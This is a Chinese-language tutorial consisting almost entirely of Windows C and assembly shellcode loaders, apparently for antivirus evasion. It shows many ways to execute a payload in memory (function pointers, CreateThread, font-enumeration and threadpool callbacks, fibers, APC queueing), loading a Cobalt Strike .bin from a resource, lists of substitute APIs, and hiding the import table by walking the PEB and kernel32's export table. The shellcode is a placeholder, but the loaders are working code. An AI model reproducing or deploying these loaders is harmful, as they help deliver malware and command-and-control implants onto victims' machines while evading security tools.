改变加载方式

指针执行

#include 
#include 
int main() {
    unsigned char buf[] = "shellcode"; // unsigned表示无符号数
    /*
    * VirtualAlloc是Windows API
    * 参数1:分配的内存的起始地址,如果为NULL则由系统决定
    * 参数2:分配的内存大小,以字节为单位
    * 参数3:分配的内存类型,MEM_COMMIT表示将分配的内存立即提交给物理内存,MEM_RESERVE表示保留内存但不提交
    * 参数4:分配的内存保护属性,PAGE_READWRITE可读可写,PAGE_EXECUTE_READ可执行可读
    */
    void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE); // 指针指向申请的内存
    memcpy(p, buf, sizeof(buf)); // 将shellcode写入内存
    /*
    * 类型强制转换:(目标类型)表达式
    * (void(*)())p:将p转换为指向无参数、无返回值的函数指针
    * ((void(*)())p)():对函数进行调用
    */
    ((void(*)())p)(); // 执行shellcode
    return 0;
}

汇编执行

#include 
#include 
// .data段(数据段,存储静态变量和全局变量)改为可读可写可执行
#pragma comment(linker, "/section:.data,RWE")
unsigned char buf[] = "shellcode"; // 要为全局变量
int main() {
    __asm {
        lea eax, buf // 这里查看反汇编是lea eax,[buf地址]
        call eax
    }
    return 0;
}

创建线程执行

#include 
#include 
int main() {
    unsigned char buf[] = "shellcode";
    void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    // CopyMemory是Windows API
    CopyMemory(p, buf, sizeof(buf)); // 将shellcode写入内存
    /*
    * CreateThread是Windows API,用于创建一个新线程
    * 参数1:指向 SECURITY_ATTRIBUTES 结构体的指针,用于指定新线程的安全属性,NULL表示默认安全属性
    * 参数2:指定新线程的堆栈大小,0表示默认大小,如果指定大小小于MINIMUM_STACK_SIZE(通常1KB),则会被自动调整为MINIMUM_STACK_SIZE
    * 参数3:线程函数指针,必须是静态函数或全局函数,且返回值为DWORD
    * 参数4:传递给线程函数的参数指针,可以将任何类型的数据转换为LPVOID来传递参数
    * 参数5:0表示创建线程后立刻执行,CREATE_SUSPENDED表示创建线程后立即挂起,等待调用 ResumeThread 才会开始执行
    * 参数6:接收新线程 ID 的变量的指针,NULL表示不返回线程ID
    */
    // 句柄(Handle)是一种用于标识对象的数据类型,实际上是一个指向内存中数据结构的指针,该数据结构描述了所标识的对象的属性
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)(LPVOID)p, NULL, 0, NULL); // 线程句柄
    /*
    * 参数1:内核对象的句柄
    * 参数2:等待时间的毫秒数,INFINITE(即-1)表示无限等待直到对象进入signaled状态
    */
    WaitForSingleObject(hThread, INFINITE); // 等待新线程执行完毕,不等待可能执行不到
    return 0;
}

回调函数执行

#include 
#include 
int main() {
    unsigned char buf[] = "shellcode";
    void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(p, buf, sizeof(buf));
    
    /*
    * EnumFontsW是Windows API,用于枚举系统中所有可用字体
    * 参数1:设备环境句柄,表示要枚举哪个设备的字体
    * 参数2:NULL表示枚举所有字体
    * 参数3:回调函数指针,用于处理每个枚举到的字体信息
    * 参数4:回调函数参数
    */
    EnumFontsW(GetDC(NULL), NULL, p, NULL); // 回调函数
    return 0;
}

线程池等待对象回调函数执行

#include 
#include 
int main() {
    unsigned char buf[] = "shellcode";
    /*
    * VirtualProtect是Windows API,用于修改内存访问权限
    * 参数1:指向内存的指针
    * 参数2:内存大小(以字节为单位)
    * 参数3:新的访问权限
    * 参数4:用于接收修改前的访问权限,NULL表示不需要接受(但是会出错)
    */
    DWORD oldProtect;
    VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect); // shellcode内存后修改为可读可写可执行
    /*
    * CreateEvent是Windows API,用于创建一个事件对象
    * 参数1:安全属性,NULL表示默认
    * 参数2:是否手动复位
    * 参数3:TRUE表示事件对象的初始状态为有信号状态,否则为无信号状态
    * 参数4:事件名称,NULL表示不使用名称
    */
    HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL);
    /*
    * CreateThreadpoolWait是Windows API,用于创建一个线程池等待对象
    * 参数1:回调函数指针
    * 参数2:回调函数参数
    * 参数3:线程池回调环境
    */
    PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)(LPVOID)buf, NULL, NULL);
    /*
    * SetThreadpoolWait是Windows API,用于向线程池中添加等待对象
    * 参数1:线程池等待对象
    * 参数2:要等待的内核对象句柄
    * 参数3:等待超时时间,NULL表示无限等待
    */
    SetThreadpoolWait(threadPoolWait, event, NULL);
    WaitForSingleObject(event, INFINITE); // 等待事件对象执行完毕(状态变为无信号),事件对象执行会执行回调函数buf
    return 0;
}

创建纤程(Fiber)执行

#include 
#include 
int main() {
    unsigned char buf[] = "shellcode";
    DWORD oldProtect;
    VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect);
    ConvertThreadToFiber(NULL); // 将当前线程转换为纤程(轻量级线程)
    /*
    * CreateFiber用于创建纤程对象
    * 参数1:纤程栈的大小,0表示使用默认值
    * 参数2:函数指针
    * 参数3:创建纤程的标志位
    */
    void* shellcodeFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)(LPVOID)buf, NULL);
    SwitchToFiber(shellcodeFiber); // 切换纤程,执行函数
    DeleteFiber(shellcodeFiber); // 删除纤程对象
    return 0;
}

NtTestAlert+APC执行

#include 
#include 
// 定义的一个函数指针类型pNtTestAlert,函数使用__stdcall调用约定(用于大多数Win32 API函数),函数返回DWORD类型
typedef DWORD(WINAPI* pNtTestAlert)();
int main() {
    unsigned char buf[] = "shellcode";
    DWORD oldProtect;
    VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect);
    /*
    * GetModuleHandleA用于获取DLL的句柄
    * GetProcAddress用于获取函数地址
    * NtTestAlert函数是内部函数,无法直接通过函数名调用
    */
    pNtTestAlert NtTestAlert = (pNtTestAlert)(GetProcAddress(GetModuleHandleA("ntdll"), "NtTestAlert"));
    /*
    * QueueUserAPC是Windows API,用于将APC函数插入到指定线程的APC队列中
    * 参数1:APC函数指针
    * 参数2:指定线程句柄
    * 参数3:APC函数参数
    * GetCurrentThread是Windows API,返回当前执行的线程的句柄
    */
    QueueUserAPC((PAPCFUNC)(PTHREAD_START_ROUTINE)(LPVOID)buf, GetCurrentThread(), NULL);
    NtTestAlert(); // 该函数会检查当前线程的APC队列是否有待执行的异步过程调用,如果有就会立刻执行
    return 0;
}

从资源加载执行

源文件->添加->资源->导入->CS生成的.bin文件->资源类型(xxx)

在resource.h查看资源ID(#define IDR_XXX1)

#include 
#include 
#include "resource.h" // 将资源文件 resource.h 中定义的资源包含到当前文件
int main() {
    /*
    * FindResource是windows API,用于在资源表中查找指定名称和类型的资源
    * 参数1:模块句柄,表示要在哪个模块中查找资源,NULL表示在当前模块中查找
    * 参数2:查找资源的名称或ID,如果是用ID,则需要使用宏 MAKEINTRESOURCE 将ID转换为字符串类型
    * 参数3:资源类型名称
    */
    HRSRC Res = FindResource(NULL, MAKEINTRESOURCE(IDR_XXX1), L"xxx");
    DWORD Size = SizeofResource(NULL, Res); // Windows API,用于获取资源大小
    HGLOBAL Load = LoadResource(NULL, Res); // Windows API,用于加载资源
    void* p = VirtualAlloc(NULL, Size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(p, Load, Size);
    ((void(*)())p)();
    return 0;
}

函数替换

VirtualAlloc

GlobalAlloc
CoTaskMemAlloc
HeapAlloc
RtlCreateHeap
AllocADsMem
ReallocADsMem

回调函数

EnumTimeFormatsA
EnumWindows
EnumDesktopWindows
EnumDateFormatsA
EnumChildWindows
EnumThreadWindows
EnumSystemLocalesA
EnumSystemGeoID
EnumSystemLanguageGroupsA
EnumUILanguagesA
EnumSystemCodePagesA
EnumDesktopsW
EnumSystemCodePagesW

隐藏导入表

获取DLL函数地址执行

但是导入表会有 loadlibary 和 GetProcAddress

#include 
#include 
//typedef LPVOID(WINAPI* pVirtualAlloc)(LPVOID, DWORD, DWORD, DWORD);
typedef BOOL(WINAPI* pVirtualProtect)(LPVOID, DWORD, DWORD, PDWORD);
typedef HANDLE(WINAPI* pCreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
typedef DWORD(WINAPI* pWaitForSingleObject)(HANDLE, DWORD);
int main() {
    unsigned char buf[] = "shellcode";
    HMODULE hKernal32 = LoadLibrary(L"Kernel32.dll"); // 加载DLL文件,该函数使用 Unicode 编码所以要加L表示这是一个宽字符(wchar_t)类型的字符串
    //pVirtualAlloc VirtualAlloc = (pVirtualAlloc)GetProcAddress(hKernal32, "VirtualAlloc");
    pVirtualProtect VirtualProtect = (pVirtualProtect)GetProcAddress(hKernal32, "VirtualProtect");
    pCreateThread CreateThread = (pCreateThread)GetProcAddress(hKernal32, "CreateThread");
    pWaitForSingleObject WaitForSingleObject = (pWaitForSingleObject)GetProcAddress(hKernal32, "WaitForSingleObject");
    DWORD oldProtect;
    VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect);
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)(LPVOID)buf, NULL, 0, NULL);
    WaitForSingleObject(hThread, INFINITE);
    return 0;
}

x64完全隐藏导入表

64位,gs:[0x30]指向TEB结构体(包含进程中运行线程的各种信息),TEB+0x60 和 gs:[0x60]都是指向PEB结构体(包含进程信息),PEB+0x18指向PEB_LDR_DATA结构体,PEB_LDR_DATA+0x30指向InInitializationOrderModuleList

VS用64位写汇编函数(64位不能直接用__asm{}):

视图->解决方案资源管理器->源文件->添加->新建项->xxx.asm

xxx.asm->属性->从生成中排除(否)、项类型(自定义生成工具)、命令行(ml64 /Fo (IntDir)%(fileName).obj)

xxx.asm:

.CODE
    GetInInitializationOrderModuleList PROC
    mov rax,gs:[60h] ; PEB,这里不能写0x60
    mov rax,[rax+18h] ; PEB_LDR_DATA
    mov rax,[rax+30h] ; InInitializationOrderModuleList
    ret ; 这里不能写retn
    GetInInitializationOrderModuleList ENDP
END

xxx.c:

#include 
#include 
typedef struct _UNICODE_STRING {
    USHORT Length; // 这三个是必有的,用来描述Buffer
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;// UNICODE_STRING 相当于 struct _UNICODE_STRING
/*
* 返回64位无符号地址的指针
* 如果是C++,要用extern "C" PVOID64 __stdcall GetPEB();表示函数使用C语言的调用约定(取消函数名称修饰)
*/
PVOID64 __stdcall GetInInitializationOrderModuleList();
HMODULE getKernel32Address() {
    /*
    * LIST_ENTRY是实现了双向链表的结构体
    * Flink 和 Blink 分别指向下一个、上一个节点
    * InInitializationOrderModuleList是一个链表,每个节点是LDR_DATA_TABLE_ENTRY结构体(不是C语言结构体)
    */
    LIST_ENTRY* pNode = (LIST_ENTRY*)GetInInitializationOrderModuleList(); // 获取InInitializationOrderModuleList
    while (1) {
        /*
        * x64的LDR_DATA_TABLE_ENTRY结构体偏移量0x38是FullDllName成员,x86是0x24
        * 能强制转换是因为名称和类型是对应的
        */
        UNICODE_STRING* FullDllName = (UNICODE_STRING*)((BYTE*)pNode + 0x38);
        // Buffer指向模块完整路径名(KERNEL32.DLL\0)
        if (*(FullDllName->Buffer + 12) == '\0') {
            // LDR_DATA_TABLE_ENTRY结构体偏移量0x10是DllBase成员,表示模块的基地址
            return (HMODULE)(*((ULONG64*)((BYTE*)pNode + 0x10)));
        }
        pNode = pNode->Flink;
    }
}
DWORD64 getGetProcAddress(HMODULE hKernal32) {
    /*
    * PIMAGE_DOS_HEADER指针是指向 IMAGE_DOS_HEADER 结构体的指针
    * IMAGE_DOS_HEADER结构体存储DOS头部信息
    * DOS头部信息是文件头的第一个部分,也就是PE文件起始地址
    */
    PIMAGE_DOS_HEADER baseAddr = (PIMAGE_DOS_HEADER)hKernal32; // 获取DOS头
    /*
    * 64位下,指针是8字节,e_lfanew是DWORD是4字节,所以要用LONG64
    * NT头指针可以获取PE文件各种信息
    */
    PIMAGE_NT_HEADERS pImageNt = (PIMAGE_NT_HEADERS)((LONG64)baseAddr + baseAddr->e_lfanew); // 偏移到NT头
    /*
    * PIMAGE_EXPORT_DIRECTORY是导出表指针
    * OptionalHeader字段中的DataDirectory数组的第0个元素(IMAGE_DIRECTORY_ENTRY_EXPORT更直观)的VirtualAddress字段为导出表的位置
    */
    PIMAGE_EXPORT_DIRECTORY exportDir = (PIMAGE_EXPORT_DIRECTORY)((LONG64)baseAddr + pImageNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); // 获取导出表
    /*
    * 导出表的AddressOfFunctions字段包含一个指针数组,数组的每个元素都是导出函数的RVA(相对虚拟地址)
    * 函数的地址为ULONG,所以用PULONG指针
    */
    PULONG RVAFunctions = (PULONG)((LONG64)baseAddr + exportDir->AddressOfFunctions); // 获取导出函数地址RVA数组地址
    PULONG RVANames = (PULONG)((LONG64)baseAddr + exportDir->AddressOfNames); // 获取导出函数名RVA数组地址
    PUSHORT AddressOfNameOrdinals = (PUSHORT)((LONG64)baseAddr + exportDir->AddressOfNameOrdinals); // 获取导出函数序号数组地址
    for (size_t i = 0; i < exportDir->NumberOfNames; i++) { // 遍历函数
        LONG64 F_va_Tmp = (ULONG64)((LONG64)baseAddr + RVAFunctions[(USHORT)AddressOfNameOrdinals[i]]); // 当前函数地址
        PUCHAR FunctionName = (PUCHAR)((LONG64)baseAddr + RVANames[i]); // 当前函数名地址
        /*
        * const char*为字符串指针
        * strcmp的参数就是两个字符串指针,比较内容
        */
        if (!strcmp((const char*)FunctionName, "GetProcAddress")) {
            return F_va_Tmp;
        }
    }
}
typedef FARPROC(WINAPI* pGetProcAddress)(HMODULE, LPCSTR);
typedef BOOL(WINAPI* pVirtualProtect)(LPVOID, DWORD, DWORD, PDWORD);
typedef HANDLE(WINAPI* pCreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
typedef DWORD(WINAPI* pWaitForSingleObject)(HANDLE, DWORD);
int main() {
    unsigned char buf[] = "x64shellcode";
    HMODULE hKernal32 = getKernel32Address(); // 获取Kernel32
    pGetProcAddress GetProcAddress = (pGetProcAddress)getGetProcAddress(hKernal32); // 获取GetProcAddress地址
    pVirtualProtect VirtualProtect = (pVirtualProtect)GetProcAddress(hKernal32, "VirtualProtect");
    pCreateThread CreateThread = (pCreateThread)GetProcAddress(hKernal32, "CreateThread");
    pWaitForSingleObject WaitForSingleObject = (pWaitForSingleObject)GetProcAddress(hKernal32, "WaitForSingleObject");
    DWORD oldProtect;
    VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect);
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)(LPVOID)buf, NULL, 0, NULL);
    WaitForSingleObject(hThread, INFINITE);
    return 0;
}

x86完全隐藏导入表

32位,fs:[0x0]指向TEB结构体,fs:[0x30]指向PEB结构体,PEB+0x0c指向PEB_LDR_DATA结构体,PEB_LDR_DATA+0x0c指向InLoadOrderModuleList

xxx.cpp:

新增了 LDR_DATA_TABLE_ENTRY 结构体,重新写了getKernel32Address函数,去掉xxx.asm

#include 
#include 
typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
typedef struct _LDR_DATA_TABLE_ENTRY // 新增 LDR_DATA_TABLE_ENTRY 结构体
{
    LIST_ENTRY InLoadOrderLinks;
    LIST_ENTRY InMemoryOrderLinks;
    LIST_ENTRY InInitializationOrderLinks;
    PVOID DllBase;
    PVOID EntryPoint;
    UINT32 SizeOfImage;
    UNICODE_STRING FullDllName;
    UNICODE_STRING BaseDllName;
    UINT32 Flags;
    USHORT LoadCount;
    USHORT TlsIndex;
    LIST_ENTRY HashLinks;
    PVOID SectionPointer;
    UINT32 CheckSum;
    UINT32 TimeDateStamp;
    PVOID LoadedImports;
    PVOID EntryPointActivationContext;
    PVOID PatchInformation;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
HMODULE getKernel32Address() { // 重新写的函数
    LDR_DATA_TABLE_ENTRY* pPLD = NULL;
    char szKernel32[] = { 'K',0,'E',0,'R',0,'N',0,'E',0,'L',0,'3',0,'2',0,'.',0,'D',0,'L',0,'L',0,0,0 }; //Unicode字符所以要跟0,最后一个是\0
    __asm {
        mov eax, fs: [0x30] // PEB
        mov eax, [eax + 0x0C] // PEB_LDR_DATA
        mov eax, [eax + 0x0C] // InLoadOrderModuleList
        mov pPLD, eax
    }
    while (1) {
        if (!strcmp(pPLD->BaseDllName.Buffer, szKernel32)) { // 当前模块名为KERNEL32.DLL\0
            return (HMODULE)pPLD->DllBase;
        }
        pPLD = (LDR_DATA_TABLE_ENTRY*)pPLD->InLoadOrderLinks.Flink; // 下一个LDR_DATA_TABLE_ENTRY结构体
    }
}
DWORD64 getGetProcAddress(HMODULE hKernal32) {
    /*
    * PIMAGE_DOS_HEADER指针是指向 IMAGE_DOS_HEADER 结构体的指针
    * IMAGE_DOS_HEADER结构体存储DOS头部信息
    * DOS头部信息是文件头的第一个部分,也就是PE文件起始地址
    */
    PIMAGE_DOS_HEADER baseAddr = (PIMAGE_DOS_HEADER)hKernal32; // 获取DOS头
    /*
    * 64位下,指针是8字节,e_lfanew是DWORD是4字节,所以要用LONG64
    * NT头指针可以获取PE文件各种信息
    */
    PIMAGE_NT_HEADERS pImageNt = (PIMAGE_NT_HEADERS)((LONG64)baseAddr + baseAddr->e_lfanew); // 偏移到NT头
    /*
    * PIMAGE_EXPORT_DIRECTORY是导出表指针
    * OptionalHeader字段中的DataDirectory数组的第0个元素(IMAGE_DIRECTORY_ENTRY_EXPORT更直观)的VirtualAddress字段为导出表的位置
    */
    PIMAGE_EXPORT_DIRECTORY exportDir = (PIMAGE_EXPORT_DIRECTORY)((LONG64)baseAddr + pImageNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); // 获取导出表
    /*
    * 导出表的AddressOfFunctions字段包含一个指针数组,数组的每个元素都是导出函数的RVA(相对虚拟地址)
    * 函数的地址为ULONG,所以用PULONG指针
    */
    PULONG RVAFunctions = (PULONG)((LONG64)baseAddr + exportDir->AddressOfFunctions); // 获取导出函数地址RVA数组地址
    PULONG RVANames = (PULONG)((LONG64)baseAddr + exportDir->AddressOfNames); // 获取导出函数名RVA数组地址
    PUSHORT AddressOfNameOrdinals = (PUSHORT)((LONG64)baseAddr + exportDir->AddressOfNameOrdinals); // 获取导出函数序号数组地址
    for (size_t i = 0; i < exportDir->NumberOfNames; i++) { // 遍历函数
        LONG64 F_va_Tmp = (ULONG64)((LONG64)baseAddr + RVAFunctions[(USHORT)AddressOfNameOrdinals[i]]); // 当前函数地址
        PUCHAR FunctionName = (PUCHAR)((LONG64)baseAddr + RVANames[i]); // 当前函数名地址
        /*
        * const char*为字符串指针
        * strcmp的参数就是两个字符串指针,比较内容
        */
        if (!strcmp((const char*)FunctionName, "GetProcAddress")) {
            return F_va_Tmp;
        }
    }
}
typedef FARPROC(WINAPI* pGetProcAddress)(HMODULE, LPCSTR);
typedef BOOL(WINAPI* pVirtualProtect)(LPVOID, DWORD, DWORD, PDWORD);
typedef HANDLE(WINAPI* pCreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
typedef DWORD(WINAPI* pWaitForSingleObject)(HANDLE, DWORD);
int main() {
    unsigned char buf[] = "x86shellcode";
    HMODULE hKernal32 = getKernel32Address(); // 获取Kernel32
    pGetProcAddress GetProcAddress = (pGetProcAddress)getGetProcAddress(hKernal32); // 获取GetProcAddress地址
    pVirtualProtect VirtualProtect = (pVirtualProtect)GetProcAddress(hKernal32, "VirtualProtect");
    pCreateThread CreateThread = (pCreateThread)GetProcAddress(hKernal32, "CreateThread");
    pWaitForSingleObject WaitForSingleObject = (pWaitForSingleObject)GetProcAddress(hKernal32, "WaitForSingleObject");
    DWORD oldProtect;
    VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect);
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)(LPVOID)buf, NULL, 0, NULL);
    WaitForSingleObject(hThread, INFINITE);
    return 0;
}